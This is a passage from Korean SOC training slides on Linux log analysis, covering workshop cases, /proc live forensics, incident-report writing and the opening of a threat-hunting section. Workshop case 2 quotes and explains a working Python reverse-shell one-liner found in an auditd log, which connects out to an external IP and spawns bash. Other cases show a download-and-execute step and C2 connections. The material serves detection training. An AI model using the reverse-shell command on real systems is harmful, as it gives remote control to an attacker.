    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 24
    종합 실전 워크샵
    실무형 로그 분석 케이스 10선 · 타임라인 재구성 · 판단문 작성 · 팀별 토론
    ⏱ 100분 | 최종 실습
    보강 설명종합 실전 워크샵 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    종합 워크샵실전분석 실력
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    워크샵 진행 방식 안내
    정답 맞히기가 목표가 아니다 — 어떻게 판단했는지, 무엇을 놓쳤는지가 핵심 학습이다
    실습
    ⏱️ 개인 분석 (3분)
    로그를 혼자 읽고
    5가지 항목 작성:
    Fact / 의심근거 / 추가확인 / Verdict / Action
    💬 팀 토론 (4분)
    옆 사람과 비교:
    — 다르게 본 부분은?
    — 놓친 단서는?
    — 최종 팀 판단
    📢 전체 피드백 (3분)
    강사 해설:
    — 핵심 단서
    — 흔한 오류
    — 실무 대응
    판단 등급 기준:
    ✅ 정상 → 🔵 모니터링 → 🟡 의심(L2) → 🔴 Incident(즉시 대응)
    채점 기준: 최종 Verdict(30%) + 근거 명확성(40%) + 추가 확인 항목(30%)
    근거 없는 정답보다 근거 있는 오답이 더 가치 있다
    보강 설명워크샵은 개인 분석 3분, 팀 토론 4분, 전체 피드백 순서로 진행합니다. 정답보다 근거와 질문이 더 중요합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    개인 분석팀 토론피드백
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    🔎 워크샵 케이스 1: 새벽 3시의 서비스 계정
    다음 로그를 보고 5분 이내에 판단문을 작성하시오
    실습
    # /var/log/auth.log (db-prod-02)
    Mar 05 03:11:01 db-prod-02 sshd[8812]: Accepted publickey for svc_monitoring from 10.20.5.100
    Mar 05 03:11:45 db-prod-02 sudo[8820]: svc_monitoring : COMMAND=/usr/bin/curl -o /tmp/.upd http://update.internal.corp/agent-2.1.sh
    Mar 05 03:12:01 db-prod-02 sudo[8821]: svc_monitoring : COMMAND=/bin/bash /tmp/.upd
    # syslog
    Mar 05 03:12:22 db-prod-02 systemd[1]: Started monitoring-agent.service
    💡 판단 힌트
    • update.internal.corp — 내부 도메인인가?
    • 10.20.5.100 — 알려진 모니터링 서버인가?
    • /tmp/.upd — 숨김 파일(.으로 시작)
    • 서비스 계정이 sudo로 bash 실행?
    • 변경 승인 티켓이 있는가?
    판단문 작성
    Fact
    [관측 사실 기록]
    의심 근거
    [왜 위험/정상인가]
    추가 확인
    [무엇을 더 볼 것인가]
    Verdict
    [정상/모니터/의심/Incident]
    🔎 워크샵 케이스 1 해설
    내부 도메인이라고 안전하지 않다 — 다수의 의심 요소가 동시에 존재할 때 조사가 필요하다
    해설
    모범 판단 (답안)
    Fact
    Mar 05 03:11, 10.20.5.100에서 svc_monitoring 계정으로 db-prod-02 공개키 로그인. 즉시 sudo로 내부 URL에서 /tmp/.upd 다운로드 후 bash 실행. monitoring-agent.service 등록.
    의심 근거
    ① /tmp/.숨김파일 사용 ② 새벽 3시 서비스 계정 행동 ③ sudo bash 직접 실행 ④ 서비스 즉시 등록. 단, update.internal.corp가 실제 내부 서버이고 승인된 에이전트 배포라면 정상일 수 있음.
    추가 확인
    ① update.internal.corp DNS 실제 내부 서버 여부 ② 변경 관리 티켓 존재 여부 ③ 10.20.5.100이 알려진 배포 서버인가 ④ monitoring-agent.service 파일 내용 확인 ⑤ 같은 시간대 다른 서버 동일 패턴 여부
    Verdict
    🟡 의심 — L2 에스컬레이션 + 운영팀 즉시 확인 요청
    승인 확인되면 정상 처리, 미확인이면 고위험으로 상향
    핵심 교훈: 내부 도메인도 침해된 내부 서버에서 배포될 수 있다. 티켓 확인과 도메인 검증이 "정상 처리"의 근거가 되어야 한다.
    🔎 워크샵 케이스 2: auditd에서 발견된 Python 코드
    auditd EXECVE 이벤트 — 이 한 줄이 무엇을 의미하는지 해석하시오
    실습
    # ausearch -sc execve -ts 2024-03-15 01:00 -i (일부)
    time->Fri Mar 15 01:33:21 2024
    type=SYSCALL msg=audit(...): arch=x86_64 syscall=execve success=yes
    pid=31001 ppid=31000 uid=0 auid=1003
    comm="python3" exe="/usr/bin/python3"
    type=EXECVE msg=audit(...):
    argc=3 a0="python3" a1="-c"
    a2="import os,pty,socket;s=socket.socket();s.connect(('45.33.32.156',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"
    💡 분석 포인트
    • uid=0 vs auid=1003 — 각각 무슨 의미?
    • socket.connect('45.33.32.156',8888) — 어떤 행동?
    • os.dup2(s.fileno(),0/1/2) — stdin/stdout/stderr?
    • pty.spawn('/bin/bash') — 최종 목적?
    🎯 답안 작성
    이 코드는 어떤 행위를 수행하는가?
    누가 이 코드를 실행했는가? (uid vs auid)
    즉시 취해야 할 3가지 조치는?
    🔎 워크샵 케이스 2 해설
    Python 역방향 쉘 — 외부 공격자가 이미 root 쉘을 획득했다
    해설
    🔍 코드 해석
    # 한 줄씩 분해
    socket.connect(('45.33.32.156',8888))
    → 외부 서버 45.33.32.156:8888로 TCP 연결
    os.dup2(s.fileno(), 0/1/2)
    → 소켓을 stdin/stdout/stderr로 리다이렉션
    pty.spawn('/bin/bash')
    → 완전한 대화형 bash 쉘 생성
    결과: 공격자가 45.33.32.156에서 root bash 쉘 획득
    uid=0 vs auid=1003 의미
    uid=0 (root)
    현재 실행 권한 — 이미 root 권한 보유
    auid=1003
    원래 로그인한 계정 — UID 1003번 계정이 su/sudo로 root 획득
    즉시 조치 3가지
    45.33.32.156 네트워크 즉시 차단
    서버 격리 + auid=1003 계정 잠금
    실행 중인 역쉘 프로세스 kill + IR 에스컬레이션
    보강 설명이 코드는 Python 역방향 쉘입니다. 외부 서버에 연결해서 bash를 넘겨주는 고전적인 리버스쉘 코드입니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    역방향 쉘pty.spawndup2
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    🔎 워크샵 케이스 3: 5개 서버 동시 발생 패턴
    같은 시간, 5개 서버에서 동일한 패턴이 나타났다 — 개별 서버가 아닌 전체 관점으로 판단하시오
    실습
    # SIEM 쿼리: 최근 1시간 /tmp 실행 파일 (집계)
    02:15:03 web-01 process.exe:/tmp/.x86_update user:www-data
    02:15:07 web-02 process.exe:/tmp/.x86_update user:www-data
    02:15:11 web-03 process.exe:/tmp/.x86_update user:www-data
    02:15:14 app-01 process.exe:/tmp/.x86_update user:www-data
    02:15:19 app-02 process.exe:/tmp/.x86_update user:www-data
    # network log: 모든 서버에서 동시에
    ESTABLISHED *.x86_update185.220.101.45:443
    판단 질문
    • 5개 서버 동시 발생 — 어떤 의미인가?
    • www-data 계정이 /tmp 실행 — 어떻게 가능?
    • 185.220.101.45:443 — 무엇인가?
    • 대응 범위는? (1대 vs 전체)
    🔴 Incident 수준 — 즉시 대응 필요
    5개 서버 동시, 같은 파일명, 같은 C2 연결
    자동화된 웜/악성코드 전파 가능성
    → 전체 네트워크 격리 검토 필요
    분석가 역량 자가 진단 체크리스트
    솔직하게 체크하세요 — 지금 못 하는 것을 아는 것이 성장의 출발점입니다
    분석
    🔰 기초 (오늘 수업 후 달성 목표)
    auth.log에서 SSH 성공/실패 구분 가능
    auditd execve 기본 필드 해석 가능
    sudo 로그에서 사용자와 명령 추출 가능
    grep + awk로 IP 빈도 집계 가능
    Fact + 근거 + 조치 형식으로 판단문 작성 가능
    📈 중급 (3개월 실무 후 목표)
    5개 이상 로그 소스를 타임라인으로 연결
    SIEM KQL/SPL 기본 쿼리 작성
    auditd 탐지 룰 1개 이상 직접 설계
    MITRE ATT&CK T코드로 이벤트 분류
    🎯 고급 (6~12개월 경험 후 목표)
    Sigma 룰 작성 및 여러 SIEM 변환
    SOAR 플레이북 설계 참여
    Threat Hunting 유스케이스 독립 수행
    사고 보고서 작성 (경영진 보고 수준)
    탐지 룰 커버리지 갭 분석 수행
    💡 성장 방법
    오늘 수업 + 매일 로그 5분 + CTF 월 1회 + 처리 케이스 복기
    현장에서 자주 묻는 질문 (FAQ)
    이론과 실무 사이의 간극을 메우는 현실적인 답변들
    분석
    Q. auditd를 켜면 서버 성능에 영향을 주나요?
    A. 과도한 규칙은 5~15% CPU 영향이 있습니다. 핵심 규칙만 선택적으로 적용하고 -F auid>=1000으로 일반 사용자 행동만 감시하면 대부분 1% 미만입니다.
    Q. 로그를 얼마나 오래 보관해야 하나요?
    A. 보안 감사 목적: 1년 이상(ISMS-P 기준). 실시간 분석: 30~90일을 핫 스토리지에 보관하고 나머지는 콜드 스토리지(S3 등)로 이전하는 티어링 전략을 씁니다.
    Q. SIEM 없이 로그 분석이 가능한가요?
    A. 소규모 환경에서는 rsyslog 중앙화 + grep/awk + cron 스크립트로 기본 모니터링 가능합니다. 서버 50대 이상이면 SIEM 없이는 현실적으로 어렵습니다.
    Q. 탐지 룰 오탐이 너무 많을 때 어떻게 하나요?
    A. ① 오탐 TOP 10 IP/계정을 화이트리스트 추가 ② 임계값 상향 ③ AND 조건 추가로 범위 축소 ④ Splunk/Elastic의 suppression 기능으로 중복 억제. 룰을 끄는 것이 아닌 튜닝이 답입니다.
    Linux 로그 분석 핵심 용어 사전
    문서에서 자주 만나는 약어와 용어 — 모르면 보고서 읽기도 어렵다
    개념
    약어원어의미
    IOCIndicator of Compromise침해 지표 (IP, 해시, 도메인)
    IOAIndicator of Attack공격 행동 지표
    TTPsTactics, Techniques, Procedures공격자 전술·기법·절차
    MTTDMean Time to Detect평균 탐지 시간
    MTTRMean Time to Respond평균 대응 시간
    FPFalse Positive오탐 (정상인데 Alert)
    FNFalse Negative미탐 (공격인데 놓침)
    약어원어의미
    UEBAUser Entity Behavior Analytics사용자·엔티티 행동 분석
    EDREndpoint Detection & Response엔드포인트 탐지·대응
    SOARSecurity Orchestration, Automation and Response보안 자동화·오케스트레이션
    TTPThreat Threat Profile위협 프로파일
    C2/C&CCommand & Control공격자 원격 제어 서버
    DFIRDigital Forensics & Incident Response디지털 포렌식·사고 대응
    TIThreat Intelligence위협 인텔리전스
    학습 계속하기: 추천 리소스와 도구
    수업이 끝나도 성장은 계속된다 — 이 리소스들로 실력을 쌓아가세요
    개념
    📚 공식 문서 / 레퍼런스
    MITRE ATT&CK
    attack.mitre.org — 공격 기법 백과사전
    Elastic ECS 문서
    elastic.co/guide/en/ecs — 필드 정규화 기준
    SigmaHQ GitHub
    github.com/SigmaHQ/sigma — 탐지 룰 저장소
    auditd Cheat Sheet
    linux-audit.com — auditd 설정 레퍼런스
    🏋️ 실습 환경
    TryHackMe
    tryhackme.com — Linux 포렌식, SOC 경로
    HackTheBox
    hackthebox.com — 실전 수준 시나리오
    DFIR.training
    dfir.training — 실제 로그 파일 분석 실습
    CyberDefenders
    cyberdefenders.org — Blue Team CTF
    💡 추천 경로: TryHackMe "SOC Level 1" 과정 → HackTheBox "Linux Fundamentals" → CyberDefenders 케이스 스터디 순서로 진행하면 6개월 내 실무 수준 도달 가능
    PART 25
    Module 2 최종 정리
    핵심 개념 압축 · 분석 프레임워크 · 다음 단계 · Q&A
    ⏱ 30분 | 마무리
    보강 설명Module 2 최종 정리 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    종합 정리핵심 메시지마무리
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    12시간 핵심을 5문장으로
    이 5개를 기억하고 실천하면 초급 분석가의 역할을 수행할 수 있다
    개념
    1
    로그는 텍스트가 아니라 시스템의 행동 기록이다
    — 각 라인이 의미하는 행동을 읽어라, 텍스트를 읽지 마라
    2
    단일 로그보다 흐름과 맥락이 판단을 결정한다
    — auth + sudo + auditd + network를 시간순으로 연결하라
    3
    같은 명령도 시간·계정·위치에 따라 판단이 달라진다
    — 야간/외부IP/서비스계정/미승인 조합이 위험 신호다
    4
    좋은 판단은 Fact + 근거 + 추가확인 + 조치로 구성된다
    — 결론만 있는 판단은 운영에 쓸 수 없다
    5
    성숙한 SOC는 사건을 처리하고 탐지를 개선한다
    — 같은 공격에 두 번 놀라지 않도록 룰과 절차를 발전시켜라
    보강 설명12시간 동안 배운 내용을 5개 문장으로 압축합니다. 이 5개가 몸에 배면 Linux 로그 분석의 기초가 완성됩니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    핵심 5개요약기억
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    🐧
    감사합니다
    Module 2. Linux 로그 분석 (12H) 완료
    📌 핵심 3가지
    ① 로그 = 행동 기록
    ② 흐름 + 맥락이 판단
    ③ Fact·근거·조치 필수
    🛠️ 핵심 도구
    auth.log · auditd
    grep·awk·ausearch
    SIEM KQL/SPL
    ⚡ 다음 단계
    매일 로그 5분 읽기
    TryHackMe SOC L1
    Module 3 준비
    (주)아울네스트 · 한국인터넷진흥원 발주 · 2026년 AI 보안운영 및 위협탐지 실무인력 양성
    보강 설명수고하셨습니다. 오늘 배운 내용을 실무에서 바로 활용해보시고, 모르는 부분이 생기면 언제든지 참조하세요. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 26
    /proc 분석 · 메모리 · 네트워크 상태
    /proc 파일시스템 · ss/netstat · lsof · 런타임 증거 수집 · 라이브 포렌식
    ⏱ 50분 | 고급 분석
    보강 설명/proc 분석 · 메모리 · 네트워크 상태 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    proc런타임 분석포렌식
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    /proc 파일시스템: 살아있는 시스템의 X레이
    로그는 과거 기록이지만 /proc는 지금 이 순간의 시스템 상태 — 라이브 분석의 핵심 소스
    분석
    📁 /proc/[PID]/ 주요 파일
    # 의심 프로세스 PID=31001 분석
    # 실행 파일 경로 (삭제된 파일도 보임)
    ls -la /proc/31001/exe
    # 전체 명령라인 인자
    cat /proc/31001/cmdline | tr '\0' ' '
    # 열린 파일 목록
    ls -la /proc/31001/fd/
    # 네트워크 소켓
    cat /proc/31001/net/tcp
    # 환경 변수
    cat /proc/31001/environ | tr '\0' '\n'
    # 메모리 맵 (로드된 라이브러리)
    cat /proc/31001/maps
    🔍 보안 분석 활용 포인트
    삭제된 실행 파일 탐지:
    /proc/[pid]/exe → (deleted) 표시 → 파일 숨기기 시도
    메모리 인젝션 탐지:
    /proc/[pid]/maps에 실행 가능한 anonymous 영역
    라이브 덤프:
    /proc/[pid]/mem에서 메모리 내용 추출 가능 (포렌식 도구 필요)
    환경 변수 확인:
    HISTFILE= unset 여부 → 히스토리 우회 탐지
    ss · netstat · lsof: 네트워크 상태 라이브 분석
    지금 이 순간 서버에서 어디와 통신하고 있는가 — 이상 연결이 곧 침해의 증거다
    명령어
    🔧 핵심 명령어
    # 모든 TCP 연결 + PID 포함
    ss -tulnp
    # ESTABLISHED 연결만 (외부 C2 탐지)
    ss -tnp state established
    # 특정 포트 사용 프로세스
    lsof -i :4444
    # 특정 프로세스의 네트워크 연결
    lsof -p 31001 -i
    # 외부 연결만 (RFC1918 제외)
    ss -tnp | grep -v "127\.\|10\.\|192\.168\.\|172\."
    # 열린 파일 + 삭제된 파일
    lsof | grep deleted
    🚨 의심 연결 패턴
    비표준 포트로 외부 ESTABLISHED:
    ESTABLISHED web01:52341 → 45.33.32.156:8888
    알려진 멀웨어 포트:
    4444, 5555, 1234, 31337 — 도구 기본 포트
    프로세스명과 포트 불일치:
    "httpd"인데 4444포트, "python3"인데 443포트
    정상: nginx → :80/:443, sshd → :22
    라이브 포렌식: 재부팅 전 반드시 수집할 것들
    서버를 끄면 메모리·프로세스·네트워크 연결은 사라진다 — 수집 순서를 외워두어라
    주의
    ⚡ 휘발성 데이터 (재부팅 시 소멸)
    date; uptime; hostname — 시스템 기본 상태
    ps auxf — 전체 프로세스 트리
    ss -tulnp; netstat -anp — 네트워크 연결
    lsof -i; lsof | grep deleted — 열린 파일/소켓
    who; w; last — 현재 로그인 세션
    arp -a; route -n — 네트워크 테이블
    find /tmp /dev/shm -ls — /tmp 파일
    crontab -l -u root; crontab -l — 모든 cron
    💾 비휘발성 데이터 (재부팅 후에도 존재)
    로그 파일 전체 복사: /var/log/
    auditd 로그: /var/log/audit/
    SSH 키: ~/.ssh/authorized_keys
    서비스 파일: /etc/systemd/system/*.service
    의심 파일 해시: md5sum /tmp/*
    원칙: 수집한 모든 파일의 해시값을 즉시 기록 — 법적 증거 능력 유지
    시간 동기화 문제: 로그가 맞아도 타임스탬프가 틀리면 無意味
    서버 A의 02:06과 서버 B의 02:06이 실제로 같은 시간인가? — NTP 불일치가 분석을 망친다
    주의
    ⏱️ 타임스탬프 오류 유형
    타임존 차이:
    auth.log = UTC, 앱 로그 = KST(+9) → 9시간 차이로 인과관계 왜곡
    NTP 미동기:
    서버 간 수분~수십분 차이 → 타임라인 연결 불가능
    DST 전환:
    서머타임 전환 시 1시간 중복/누락 발생
    # 서버 시간 확인
    timedatectl status
    # NTP 동기화 상태
    chronyc tracking
    # 여러 서버 시간 비교
    for h in web01 web02 db01; do ssh $h 'date; hostname'; done
    ✅ 분석 전 타임스탬프 체크리스트
    모든 로그의 타임존 확인 (UTC vs 로컬)
    NTP 동기화 상태 확인
    SIEM 수집 시 타임존 정규화 확인
    여러 서버 간 시간 오차 측정
    분석 보고서에 타임존 명시
    💡 원칙
    분석 보고서에는 항상 UTC 기준 타임스탬프를 사용하고, 로컬 시간은 괄호 안에 병기
    보강 설명로그 타임스탬프 불일치는 분석에서 치명적입니다. NTP 설정과 타임존 확인이 로그 수집 설정의 기본입니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    NTP타임존타임스탬프
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 27
    보안 사고 보고서 작성
    Incident 보고서 구조 · 경영진용 요약 · 기술 팀용 상세 · 재발 방지 권고
    ⏱ 40분 | 보고 실습
    보강 설명보안 사고 보고서 작성 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    보고서작성경영진
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    보안 사고 보고서 구조: 두 독자를 위한 한 문서
    같은 사건을 경영진과 기술팀이 각자에게 필요한 정보를 찾을 수 있도록 계층적으로 작성한다
    분석
    📄 표준 보고서 구성
    요약 (1쪽)
    사건 개요, 영향 범위, 즉시 조치
    → 경영진 대상
    타임라인
    공격 흐름 시간순 재구성
    → IR팀 대상
    기술 상세
    로그 근거, IOC 목록, 공격 기법
    → 분석가 대상
    영향 평가
    침해 범위, 데이터 노출 여부
    → 경영진+법무 대상
    재발 방지
    원인 분석, 개선 권고 사항
    → 보안팀+운영팀 대상
    ✅ 좋은 보고서 vs ❌ 나쁜 보고서
    ❌ 나쁜 요약:
    "공격자가 시스템에 접근하여 여러 악성 행위를 수행했습니다."
    ✅ 좋은 요약:
    "2024-02-14 02:06, 외부 IP(198.51.100.23)에서 admin 계정 브루트포스 성공 후 30분 내 web01 서버에 루트 권한을 획득했습니다. 고객 DB에 접근 흔적은 없으나 cron 지속성이 설치되었습니다. 즉시 격리 완료, 추가 피해 없음."
    핵심: 좋은 요약은 Who + What + When + Impact + Status 5가지를 2~3문장으로 전달한다
    IOC 목록 작성: 탐지 자산으로서의 침해 지표
    사건에서 추출한 IOC는 다른 시스템 방어에 즉시 활용 가능 — 형식을 맞춰야 자동화 연동이 된다
    분석
    📋 IOC 유형과 형식
    IOC 유형예시활용
    IP 주소198.51.100.23방화벽 차단
    도메인attacker-c2.comDNS 차단
    파일 해시(MD5)a1b2c3d4...AV/EDR 탐지
    파일 경로/tmp/.x86_updateFIM 탐지
    계정명backupsvc감사 대상 등록
    SSH 공개키AAAA... (fingerprint)인증 차단
    🔍 좋은 IOC의 조건
    ✅ 높은 신뢰도: 로그에서 직접 추출, 검증됨
    ✅ 맥락 포함: 어떤 공격에서 발견, 언제
    ❌ 공유 IP: NAT/프록시 IP — 오탐 위험
    ❌ 단기 유효: C2 IP는 며칠 후 변경 가능
    IOC 신뢰도 등급: Confirmed(확인됨) → Likely(가능성 높음) → Possible(가능성 있음)을 반드시 표시
    보강 설명IOC 목록은 다른 시스템에서 같은 공격을 탐지하거나 차단하는 데 사용됩니다. 정확하고 검증된 IOC만 포함해야 합니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    IOC침해 지표차단
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    재발 방지 권고: 실행 가능한 개선 사항 작성
    "비밀번호를 강화하라"는 권고가 아니라 "2주 내에 MFA를 도입하라"가 실행 가능한 권고다
    분석
    ❌ 실행 불가능한 권고 vs ✅ 실행 가능한 권고
    ❌ "패스워드 정책을 강화하라"
    ✅ "admin 계정에 MFA 적용 (담당: 운영팀, 기한: 1주)"
    ❌ "SSH 보안을 개선하라"
    ✅ "sshd_config에 PasswordAuthentication no 설정, Bastion 경유만 허용 (담당: 인프라팀, 기한: 3일)"
    ❌ "모니터링을 강화하라"
    ✅ "auditd 실행 파일 탐지 룰 추가 (T1059.004), SIEM Alert 연동 (담당: 보안팀, 기한: 2주)"
    📋 권고 작성 템플릿
    권고 #1
    원인
    password 인증으로 SSH 브루트포스 가능
    조치
    PasswordAuthentication no + 공개키 인증만 허용
    담당
    인프라팀 홍길동
    기한
    2024-02-21 (3영업일 이내)
    검증
    설정 완료 후 테스트 로그인 시도로 확인
    보강 설명재발 방지 권고는 단순한 당부가 아니라 구체적인 조치 사항이어야 합니다. 담당자, 기한, 검증 방법이 포함되어야 실행됩니다. 정책 변화가 실제 로그와 운영 흐름에 어떤 차이를 만드는지도 같이 봐야 한다.
    재발 방지권고 사항담당자
    핵심 포인트
    • 보안 설정은 차단 그 자체보다 운영 기준을 만드는 일이다
    • 최소 권한과 기본 거부 원칙이 로그 해석도 더 명확하게 만든다
    • 정책 적용 전후에 어떤 로그가 달라지는지 같이 확인하기
    추가 확인
    • 허용 예외 계정·서비스가 과도하지 않은지 검토
    • SELinux/AppArmor는 enforcing·permissive 상태를 구분해 보기
    • 정책 변경 후 정상 서비스 오류와 보안 신호를 구분하기
    실무 적용
    • 정책은 한 번에 끝내지 않고 로그를 보며 단계적으로 튜닝
    • 우회 가능한 운영 예외를 줄여 탐지 신뢰도를 높이기
    • 보안 강화 항목은 감사 체크리스트로 반복 점검
    PART 28
    위협 헌팅 기초
    가설 기반 헌팅 · IOA 활용 · 데이터 소스 선택 · 헌팅 사이클
    ⏱ 45분 | 고급 기법
    보강 설명위협 헌팅 기초 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    위협 헌팅능동적 탐지가설 검증
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
